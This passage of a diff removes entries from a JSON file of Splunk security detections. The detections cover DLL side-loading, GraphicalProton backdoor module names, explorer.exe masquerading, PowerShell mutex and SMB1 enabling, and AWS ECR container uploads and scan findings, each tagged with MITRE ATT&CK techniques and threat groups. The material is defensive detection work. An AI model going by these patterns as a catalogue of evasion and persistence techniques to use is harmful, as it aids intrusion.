\"calc.exe\") AND Processes.process_name != \"win32calc.exe\" by Processes.parent_process Processes.process_name Processes.process_id Processes.process_guid Processes.process Processes.user Processes.dest | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_dll_side_loading_process_child_of_calc_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "calc.exe has a child process $process_name$ in $dest$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Hijack Execution Flow Version Dll Side Load", - "description": "The following analytic detects a process loading a version.dll file from a directory other than %windir%\\system32 or %windir%\\syswow64. This detection leverages Sysmon EventCode 7 to identify instances where an unsigned or improperly located version.dll is loaded. This activity is significant as it is a common technique used in ransomware and APT malware campaigns, including Brute Ratel C4, to execute malicious code via DLL side loading. If confirmed malicious, this could allow attackers to execute arbitrary code, maintain persistence, and potentially compromise the target host.", - "search": "`sysmon` EventCode=7 ImageLoaded = \"*\\\\version.dll\" AND (Signed = \"false\" OR NOT(ImageLoaded IN(\"*\\\\windows\\\\system32*\", \"*\\\\windows\\\\syswow64\\\\*\"))) | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded process_name dest EventCode Signed ProcessId | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_hijack_execution_flow_version_dll_side_load_filter`", - "tags": { - "analytic_story": [ - "Brute Ratel C4" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "a process $Image$ loading $ImageLoaded$ as a side load dll in $dest$", - "risk_score": 35, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.001", - "mitre_attack_technique": "DLL Search Order Hijacking", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT41", - "Aquatic Panda", - "BackdoorDiplomacy", - "Cinnamon Tempest", - "Evilnum", - "RTM", - "Threat Group-3390", - "Tonto Team", - "Whitefly", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Known Abused DLL Created", - "description": "The following analytic identifies the creation of Dynamic Link Libraries (DLLs) with a known history of exploitation in atypical locations. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and filesystem events. This activity is significant as it may indicate DLL search order hijacking or sideloading, techniques used by attackers to execute arbitrary code, maintain persistence, or escalate privileges. If confirmed malicious, this activity could allow attackers to blend in with legitimate operations, posing a severe threat to system integrity and security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Processes where Processes.parent_process_name!=\"unknown\" Processes.process_name=* Processes.process_guid!=null by _time span=1h Processes.dest Processes.user Processes.process_guid Processes.process_name Processes.process Processes.parent_process Processes.parent_process_name | `drop_dm_object_name(Processes)` | join max=0 process_guid dest [| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\users\\\\*\",\"*\\\\Windows\\Temp\\\\*\",\"*\\\\programdata\\\\*\") Filesystem.file_name=\"*.dll\" by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path Filesystem.process_guid | `drop_dm_object_name(Filesystem)` | lookup hijacklibs_loaded library AS file_name OUTPUT islibrary, ttp, comment as desc | lookup hijacklibs_loaded library AS file_name excludes as file_path OUTPUT islibrary as excluded | search islibrary = TRUE AND excluded != TRUE | stats latest(*) as * by dest process_guid ] | where isnotnull(file_name) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_known_abused_dll_created_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land", - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Attacker" - ] - }, - { - "name": "file_name", - "type": "File", - "role": [ - "Attacker" - ] - } - ], - "message": "The file [$file_name$] was written to an unusual location by [$process_name$] on [$dest$].", - "risk_score": 10, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.001", - "mitre_attack_technique": "DLL Search Order Hijacking", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT41", - "Aquatic Panda", - "BackdoorDiplomacy", - "Cinnamon Tempest", - "Evilnum", - "RTM", - "Threat Group-3390", - "Tonto Team", - "Whitefly", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Known GraphicalProton Loaded Modules", - "description": "The following analytic detects the loading of DLL modules associated with the GraphicalProton backdoor implant, commonly used by SVR in targeted attacks. It leverages Sysmon EventCode 7 to identify specific DLLs loaded by processes. This activity is significant as it may indicate the presence of a sophisticated backdoor, warranting immediate investigation. If confirmed malicious, the attacker could gain persistent access to the compromised host, potentially leading to further exploitation and data exfiltration.", - "search": "`sysmon` EventCode=7 ImageLoaded IN (\"*\\\\AclNumsInvertHost.dll\", \"*\\\\ModeBitmapNumericAnimate.dll\", \"*\\\\UnregisterAncestorAppendAuto.dll\", \"*\\\\DeregisterSeekUsers.dll\", \"*\\\\ScrollbarHandleGet.dll\", \"*\\\\PerformanceCaptionApi.dll\", \"*\\\\WowIcmpRemoveReg.dll\", \"*\\\\BlendMonitorStringBuild.dll\", \"*\\\\HandleFrequencyAll.dll\", \"*\\\\HardSwapColor.dll\", \"*\\\\LengthInMemoryActivate.dll\", \"*\\\\ParametersNamesPopup.dll\", \"*\\\\ModeFolderSignMove.dll\", \"*\\\\ChildPaletteConnected.dll\", \"*\\\\AddressResourcesSpec.dll\") | stats count min(_time) as firstTime max(_time) as lastTime by Image ImageLoaded process_name dest EventCode Signed ProcessId Hashes IMPHASH | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_known_graphicalproton_loaded_modules_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Known GraphicalProton backdoor Loaded Modules on $dest$.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Masquerading Explorer As Child Process", - "description": "The following analytic identifies instances where explorer.exe is spawned by unusual parent processes such as cmd.exe, powershell.exe, or regsvr32.exe. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process relationships. This activity is significant because explorer.exe is typically initiated by userinit.exe, and deviations from this norm can indicate code injection or process masquerading attempts by malware like Qakbot. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, evade detection, and maintain persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name IN(\"cmd.exe\", \"powershell.exe\", \"regsvr32.exe\") AND Processes.process_name = \"explorer.exe\" AND Processes.process IN (\"*\\\\explorer.exe\") by Processes.parent_process Processes.parent_process_name Processes.process_name Processes.process_id Processes.process_guid Processes.process Processes.user Processes.dest Processes.parent_process_id | `drop_dm_object_name(\"Processes\")` | `security_content_ctime(firstTime)` |`security_content_ctime(lastTime)` | `windows_masquerading_explorer_as_child_process_filter`", - "tags": { - "analytic_story": [ - "Qakbot" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "explorer.exe hash a suspicious parent process $parent_process_name$ in $dest$", - "risk_score": 81, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Windows Unsigned DLL Side-Loading In Same Process Path", - "description": "This detection identifies unsigned DLLs loaded through DLL side-loading with same file path with the process loaded the DLL, a technique observed in DarkGate malware. This detection monitors DLL loading, verifies signatures, and flags unsigned DLLs. Suspicious file paths and known executable associations are checked. Detecting such suspicious DLLs is crucial in preventing privilege escalation attacks and other potential security breaches. Regular security assessments, thorough monitoring, and implementing security best practices are essential in safeguarding systems from such threats.", - "search": "`sysmon` EventCode=7 Signed=false SignatureStatus != Valid NOT (Image IN (\"*:\\\\windows\\\\system32\\\\*\", \"*:\\\\windows\\\\syswow64\\\\*\", \"c:\\\\Program Files*\")) NOT (ImageLoaded IN (\"*:\\\\windows\\\\system32\\\\*\", \"*:\\\\windows\\\\syswow64\\\\*\", \"c:\\\\Program Files*\")) | rex field=Image \"(?.+\\\\\\)\" | rex field=ImageLoaded \"(?.+\\\\\\)\" | where ImageFolderPath = ImageLoadedFolderPath | stats count min(_time) as firstTime max(_time) as lastTime by Image ProcessGuid ImageLoaded user Computer EventCode ImageFolderPath ImageLoadedFolderPath Company Description Product Signed SignatureStatus | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_unsigned_dll_side_loading_in_same_process_path_filter`", - "tags": { - "analytic_story": [ - "DarkGate Malware", - "PlugX" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An unsigned dll module was loaded on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1574.002", - "mitre_attack_technique": "DLL Side-Loading", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT19", - "APT3", - "APT32", - "APT41", - "BRONZE BUTLER", - "BlackTech", - "Chimera", - "Cinnamon Tempest", - "Earth Lusca", - "FIN13", - "GALLIUM", - "Higaisa", - "Lazarus Group", - "LuminousMoth", - "MuddyWater", - "Mustang Panda", - "Naikon", - "Patchwork", - "SideCopy", - "Sidewinder", - "Threat Group-3390", - "Tropic Trooper", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1574", - "mitre_attack_technique": "Hijack Execution Flow", - "mitre_attack_tactics": [ - "Defense Evasion", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -549601,247 +368654,6 @@ "macOS", "Windows" ] - }, - { - "name": "Powershell Creating Thread Mutex", - "description": "The following analytic detects the execution of PowerShell scripts using the `mutex` function via EventCode 4104. This detection leverages PowerShell Script Block Logging to identify scripts that create thread mutexes, a technique often used in obfuscated scripts to ensure only one instance runs on a compromised machine. This activity is significant as it may indicate the presence of sophisticated malware or persistence mechanisms. If confirmed malicious, the attacker could maintain exclusive control over a process, potentially leading to further exploitation or persistence within the environment.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Threading.Mutex*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest |rename UserID as user | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_creating_thread_mutex_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious powershell script contains Thread Mutex on host $dest$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1027.005", - "mitre_attack_technique": "Indicator Removal from Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT3", - "Deep Panda", - "GALLIUM", - "OilRig", - "Patchwork", - "Turla" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Powershell Enable SMB1Protocol Feature", - "description": "The following analytic detects the enabling of the SMB1 protocol via `powershell.exe`. It leverages PowerShell script block logging (EventCode 4104) to identify the execution of the `Enable-WindowsOptionalFeature` cmdlet with the `SMB1Protocol` parameter. This activity is significant because enabling SMB1 can facilitate lateral movement and file encryption by ransomware, such as RedDot. If confirmed malicious, this action could allow an attacker to propagate through the network, encrypt files, and potentially disrupt business operations.", - "search": "`powershell` EventCode=4104 ScriptBlockText = \"*Enable-WindowsOptionalFeature*\" ScriptBlockText = \"*SMB1Protocol*\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `powershell_enable_smb1protocol_feature_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "Computer", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Powershell Enable SMB1Protocol Feature on $Computer$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1027", - "mitre_attack_technique": "Obfuscated Files or Information", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT3", - "APT37", - "APT41", - "BackdoorDiplomacy", - "BlackOasis", - "Earth Lusca", - "Ember Bear", - "GALLIUM", - "Gallmaker", - "Gamaredon Group", - "Ke3chang", - "Kimsuky", - "Mustang Panda", - "Rocke", - "Sandworm Team", - "Windshift" - ] - }, - { - "mitre_attack_id": "T1027.005", - "mitre_attack_technique": "Indicator Removal from Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT3", - "Deep Panda", - "GALLIUM", - "OilRig", - "Patchwork", - "Turla" - ] - } - ] - } } ], "external_reference": [], @@ -550314,608 +369126,6 @@ "references": [ "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" ] - }, - { - "name": "ASL AWS ECR Container Upload Outside Business Hours", - "description": "The following analytic detects the upload of new containers to AWS Elastic Container Service (ECR) outside of standard business hours through AWS CloudTrail events. It identifies this behavior by monitoring for `PutImage` events occurring before 8 AM or after 8 PM, as well as any uploads on weekends. This activity is significant for a SOC to investigate as it may indicate unauthorized access or malicious deployments, potentially leading to compromised services or data breaches. Identifying and addressing such uploads promptly can mitigate the risk of security incidents and their associated impacts.", - "search": "`amazon_security_lake` api.operation=PutImage | eval hour=strftime(time/pow(10,3), \"%H\"), weekday=strftime(time/pow(10,3), \"%A\") | where hour >= 20 OR hour < 8 OR weekday=Saturday OR weekday=Sunday | fillnull | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.name actor.user.uid http_request.user_agent cloud.region | rename actor.user.name as user, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_ecr_container_upload_outside_business_hours_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Container uploaded outside business hours from $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "ASL AWS ECR Container Upload Unknown User", - "description": "The following analytic detects unauthorized container uploads to AWS Elastic Container Service (ECR) by monitoring AWS CloudTrail events. It identifies instances where a new container is uploaded by a user not previously recognized as authorized. This detection is crucial for a SOC as it can indicate a potential compromise or misuse of AWS ECR, which could lead to unauthorized access to sensitive data or the deployment of malicious containers. By identifying and investigating these events, organizations can mitigate the risk of data breaches or other security incidents resulting from unauthorized container uploads. The impact of such an attack could be significant, compromising the integrity and security of the organization's cloud environment.", - "search": "`amazon_security_lake` api.operation=PutImage NOT `aws_ecr_users_asl` | stats count min(_time) as firstTime max(_time) as lastTime by api.operation actor.user.account_uid actor.user.name actor.user.uid http_request.user_agent src_endpoint.ip cloud.region | rename actor.user.name as user, src_endpoint.ip as src_ip, cloud.region as region, http_request.user_agent as user_agent, actor.user.account_uid as aws_account_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `asl_aws_ecr_container_upload_unknown_user_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Container uploaded from unknown user $user$", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS ECR Container Scanning Findings High", - "description": "The following analytic identifies high-severity findings from AWS Elastic Container Registry (ECR) image scans. It detects these activities by analyzing AWS CloudTrail logs for the DescribeImageScanFindings event, specifically filtering for findings with a high severity level. This activity is significant for a SOC because high-severity vulnerabilities in container images can lead to potential exploitation if not addressed. If confirmed malicious, attackers could exploit these vulnerabilities to gain unauthorized access, execute arbitrary code, or escalate privileges within the container environment, posing a significant risk to the overall security posture.", - "search": "`cloudtrail` eventSource=ecr.amazonaws.com eventName=DescribeImageScanFindings | spath path=responseElements.imageScanFindings.findings{} output=findings | mvexpand findings | spath input=findings | search severity=HIGH | rename name as finding_name, description as finding_description, requestParameters.imageId.imageDigest as imageDigest, requestParameters.repositoryName as repository, userIdentity.principalId as user | eval finding = finding_name.\", \".finding_description | eval phase=\"release\" | eval severity=\"high\" | stats min(_time) as firstTime max(_time) as lastTime by awsRegion, eventName, eventSource, imageDigest, repository, user, src_ip, finding, phase, severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_ecr_container_scanning_findings_high_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "repository", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Vulnerabilities with severity high found in repository $repository$", - "risk_score": 70, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS ECR Container Scanning Findings Low Informational Unknown", - "description": "The following analytic identifies low, informational, or unknown severity findings from AWS Elastic Container Registry (ECR) image scans. It leverages AWS CloudTrail logs, specifically the DescribeImageScanFindings event, to detect these findings. This activity is significant for a SOC as it helps in early identification of potential vulnerabilities or misconfigurations in container images, which could be exploited if left unaddressed. If confirmed malicious, these findings could lead to unauthorized access, data breaches, or further exploitation within the containerized environment.", - "search": "`cloudtrail` eventSource=ecr.amazonaws.com eventName=DescribeImageScanFindings | spath path=responseElements.imageScanFindings.findings{} output=findings | mvexpand findings | spath input=findings| search severity IN (\"LOW\", \"INFORMATIONAL\", \"UNKNOWN\") | rename name as finding_name, description as finding_description, requestParameters.imageId.imageDigest as imageDigest, requestParameters.repositoryName as repository, userIdentity.principalId as user | eval finding = finding_name.\", \".finding_description | eval phase=\"release\" | eval severity=\"low\" | stats min(_time) as firstTime max(_time) as lastTime by awsRegion, eventName, eventSource, imageDigest, repository, user, src_ip, finding, phase, severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_ecr_container_scanning_findings_low_informational_unknown_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "repository", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Vulnerabilities with severity $severity$ found in repository $repository$", - "risk_score": 5, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - "mitre_attack_technique": "Malicious Image", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1204", - "mitre_attack_technique": "User Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "LAPSUS$", - "Scattered Spider" - ] - } - ] - } - }, - { - "name": "AWS ECR Container Scanning Findings Medium", - "description": "The following analytic identifies medium-severity findings from AWS Elastic Container Registry (ECR) image scans. It leverages AWS CloudTrail logs, specifically the DescribeImageScanFindings event, to detect vulnerabilities in container images. This activity is significant for a SOC as it highlights potential security risks in containerized applications, which could be exploited if not addressed. If confirmed malicious, these vulnerabilities could lead to unauthorized access, data breaches, or further exploitation within the container environment, compromising the overall security posture.", - "search": "`cloudtrail` eventSource=ecr.amazonaws.com eventName=DescribeImageScanFindings | spath path=responseElements.imageScanFindings.findings{} output=findings | mvexpand findings | spath input=findings| search severity=MEDIUM | rename name as finding_name, description as finding_description, requestParameters.imageId.imageDigest as imageDigest, requestParameters.repositoryName as repository, userIdentity.principalId as user| eval finding = finding_name.\", \".finding_description | eval phase=\"release\" | eval severity=\"medium\" | stats min(_time) as firstTime max(_time) as lastTime by awsRegion, eventName, eventSource, imageDigest, repository, user, src_ip, finding, phase, severity | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `aws_ecr_container_scanning_findings_medium_filter`", - "tags": { - "analytic_story": [ - "Dev Sec Ops" - ], - "asset_type": "AWS Account", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "repository", - "type": "Other", - "role": [ - "Victim" - ] - } - ], - "message": "Vulnerabilities with severity $severity$ found in repository $repository$", - "risk_score": 21, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1204.003", - 